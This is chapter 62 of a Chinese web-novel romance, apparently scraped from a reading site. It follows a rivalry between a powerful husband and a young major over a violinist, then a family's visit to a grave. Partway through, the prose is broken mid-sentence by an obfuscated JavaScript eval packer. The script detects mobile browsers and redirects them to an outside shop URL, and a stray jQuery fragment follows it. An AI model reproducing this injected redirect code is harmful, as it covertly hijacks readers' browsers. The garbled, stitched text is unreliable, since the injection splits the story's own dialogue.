默认冷灰
24号文字
方正启体

62. 第六十二章

作者:厚芋本书字数:K更新时间:
    乐团演出的最后一首曲子,是宋正爱的小提琴独奏,她穿着华丽的民族服饰,站在舞台中央,裙摆上的刺绣在光下流光溢彩。


    她微微侧头,将小提琴抵在颈间,琴弓拉动,全场静悄悄的,直到演奏结束大家还是意犹未尽。


    宋正爱优雅地鞠躬致谢,看到前排中央坐着的男人,她脸颊上没有腮红,还是粉红的,小心翼翼地提起裙摆,从舞台侧方的台阶缓缓走下。


    早已在旁边等候多时的成东旭,穿着一身笔挺的西装,手捧着一大束鲜艳的玫瑰花,脸上仰着笑容,快步走向她。


    几乎是同时,坐在前排的金遵不疾不徐地站起身,一身挺括的深色西装,步伐沉稳,几步便走到宋正爱面前,恰好挡在她跟成东旭之间。


    跟在金遵身后的秘书无需吩咐,自然地伸手,接过夫人手中名贵的小提琴。


    宋正爱看着金遵,笑得温柔,像个孩子似的,对他是完全的信任和依赖,金遵抬手,修长的指尖拨开她脸上散落在眼角的碎发,神情宠溺。


    众目睽睽之下,身居高位的男人蹲下身,从素色的布袋里拿出一双柔软的平底鞋,一手托起她的脚踝,另一只手利落地帮她脱下高跟鞋,把平底鞋套在她的脚上,系好搭扣。


    她的手按在他的肩膀上,低垂着目光看着他的头顶,习以为常。


    “累不累,等下帮你揉揉脚。”他站起身,低声问,目光深情地凝视着她的脸。


    宋正爱娇嗔:“就只站了三分钟而已,还好。”


    他俩倒是亲密恩爱了,抱着鲜花僵在原地的成东旭,脸色苍白,尴尬至极,他像是小丑,眼睁睁看着金遵自然地牵起宋正爱的手,十指相扣,相携离开。


    成东旭回头,看向身后的大尉,质问:“不是让你盯紧吗,怎么回事?”


    大尉犹犹豫豫,像是吃了苦瓜,五官扭曲着一脸为难地说:“少校,您让我盯紧宋小姐,可是人家回家,我总不能跟着啊,她一回到家,窗帘就被拉得严严实实,我实在是不知道发生了什么啊。”


    成东旭一脚踹过去,怒道:“你怎么不早说,你是榆木脑袋吗,拉起窗帘要做什么,你不知道?”


    大尉把头垂得更低,惶恐:“属下想着大白天,两人再急也不能急成这样,天还没黑呢,就觉得不是什么要紧的事,没立刻跟您汇报。”


    “滚蛋!”成东旭几乎是从牙缝里挤出两个字。


    大尉说滚就滚,也不犹豫,他本来就不愿意干盯着宋小姐的活,宋小姐可是金先生的妻子,他有几个脑袋够砍的敢尾随宋小姐回家,每次都是站得很远,看一眼就走。


    成东旭不打算就这么一走了之,他特地请了半天假,从平壤赶过来,就是为了见宋正爱的。


    他开车来到宋正爱在咸兴的别墅,这栋三层别墅本来是金家的,金遵和她离婚后,就自然成了她的财产。


    院外的保镖似乎早得了吩咐,并未阻拦,连大门都为他敞开,他心里一喜,长驱直入。


    客厅里,金遵穿着一身舒适的灰色家居服,中和了他平日的雷厉风行,倒有些平和近人,他悠闲地靠在沙发上,一手端着咖啡,一手拿着报纸。


    “正爱在哪儿,我要见她。”成东旭站在客厅中间,语气强硬。


    金遵慢条斯理地抬起眼皮,扫了他一眼,眼神平静,话语里带着上位者的从容:“原来是成少校,不巧,我妻子已经睡下了,我刚抱她睡着,希望你不要吵醒她。”


    “有什么事,跟我说吧。”他放下咖啡杯,指尖在杯沿轻轻摩挲。


    “我跟你说不着,这是我和她之间的私事。”


    金遵声音一沉:“哦,你是说我的妻子和你有不能被我知道的私事,这可是大错,她不会有错,看来错的人是你。”


    “既然错了,就要承担后果,我正犯愁非洲那边的驻守任务,该派谁去,这下非少校莫属了。”他身体重新靠回沙发背,姿态慵懒。


    成东旭瞳孔一缩,反驳他:“我不信,你要是真能动用权力把我调去非洲,为什么之前不动手?”


    金遵轻笑一声,笑意未达眼底:“之前是怕我的妻子伤心,不忍心动她珍视的旧物,现在不一样了。”


    “你的意思是,正爱已经不爱我了,她现在爱的人是你?”


    “是这个意思,没错。”


    他坦然承认地态度,把成东旭狠狠伤到,疯狂地在脑子里寻找宋正爱深爱他的证据。


    “我跟她高中就认识了,她十六岁就跟我私奔去罗先,我们挤在十平米的出租屋里整整半个月,我们相依为命,她对我的爱,天地可鉴,亘古不变,这些你拿什么比。”


    金遵没有说话,端起咖啡,轻抿一口,从容优雅,成东旭看着他平静的样子,口不择言地讥讽。


    “你肯定在想,为什么不是你跟她私奔,为什么不是你和她在出租屋里朝夕相处,如果是你多好,可惜不是,我们的过去,你永远都参与不进来。”


    金遵放下咖啡杯,抬起眼皮,看向他的眼神没有愤怒和嫉妒,却是近乎悲悯。


    “我不屑于参与你们的过去,我只知道,她跟你私奔挤在出租屋里的那段日子,一定过得很辛苦,现在我会加倍补偿她。”


    成东旭瞳孔地震,他的最后一张底牌,对眼前的这个男人都没有任何攻击力,不甘心地说:“就算她不爱我了,我也爱她,你权力再大,也管不了我的感情,我可以为她去死。”


    “我不会让你死,领导培养一位少校不容易,我只是想让你明白,你对她,早已不是爱,只是执念。”


    “执念?”成东旭愣住。


    “没错,是执念,爱是哪怕离婚也希望她快乐,执念是你带她私奔拉她下地狱。”


    成东旭不认可他的说法,固执地反驳:“不,你错了,我爱她,我明知她愚昧刁蛮懦弱拜金,我还是爱她,爱她的全部。”


    金遵缓缓站起身,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338884|196086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    居高临下地睨他一眼,“真正爱她,你不会用这些词形容她。”


    成东旭张了张嘴,发现已经无可辩驳,他所谓的爱,在这个男人面前,是那么幼稚苍白可笑,他脸色煞白,踉跄着转身走出别墅,狼狈窘迫。


    他离开后,客厅一侧的旋转楼梯上,走下来一个穿着黑色作战服的保镖,面无表情,手里端着装有消音器的长枪。


    他要是敢硬闯,楼上等着他的不是熟睡的宋正爱,而是一枪毙命的判决,他的罪名会是非法入室,企图对金先生行凶。


    东兴山公墓,松柏苍翠,晨雾缭绕,空气中弥漫着湿泥土和草木混合的味道。


    一座打理得十分整洁的黑色大理石墓碑前,堆满精心挑选的花束,纯白百合,嫩黄秋菊,还有粉白渐变的马蹄莲。


    墓碑前摆放着几种贡品,新鲜的苹果桃子,几碟精致的小份菜肴,一如生前的饮食习惯。


    宋秉宪穿着一身黑,沉默地打开一瓶白酒,缓缓斟满一杯,洒在墓碑前的土地上,动作沉稳,语气郑重:“大哥,我们来看你了。”


    今天是宋日贤的忌日,也是八年前的同一日,宋秉宪回国。


    安真雅坐在轮椅上,被推到墓碑正前方,腿上盖着一条厚实的羊毛毯子,静静凝视着丈夫英俊温柔的遗照,眼眶红肿,从口袋里掏出一方素色手帕,擦拭脸上的泪痕。


    小恩站在母亲身侧,穿着一身黑色的香奈儿套装,肩上挎着昨天背的包,戴着一副深棕色的缪缪墨镜遮挡住大半张脸,齐刘海偏厚,黑长直头发披散在肩头。


    “小恩,跟你爸爸说说话吧,他也想你了。”安真雅哽咽着,轻声对女儿说。


    小恩犹豫两秒,走上前,在墓碑前双膝跪下,墨镜后的目光望着照片上的父亲,是那么的陌生。


    “爸爸,我是小恩,我很想您,您不要牵挂我,小叔把我和妈妈都照顾得很好。”


    她俯下身,依照礼节,恭恭敬敬地磕了个头,额头触碰到冰凉地面时,心里想的是,爸爸保佑我,让我得到我想要的幸福,我不在乎世人会用怎样的眼光看我。


    磕完头,她站起身,退到一旁,戴着墨镜,看不出什么情绪。


    宋秉宪走上前,没有丝毫犹豫,直接在墓碑前跪下,挺起腰背,望着大哥的照片。


    “大哥,姐今天有演出,走不开,没能来看你,你别怪她,她让我带话,改日一定亲自来。”


    “再告诉你一个好消息,姐复婚了,你一直惦记这事,现在可以放心了。”


    安真雅擦拭眼泪,轻声提醒他:“秉宪,也跟你大哥说说你自己,他最不放心的人就是你了。”


    宋秉宪沉默片刻,对着墓碑说:“我也很好。”


    除此之外,别无他言,他俯身,郑重地磕了一个头,利落地站起来。


    寒风吹过,墓碑前的花瓣微微颤动,宋秉宪平稳地推着坐在轮椅上的安真雅,小恩走在他身旁,三人下山。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)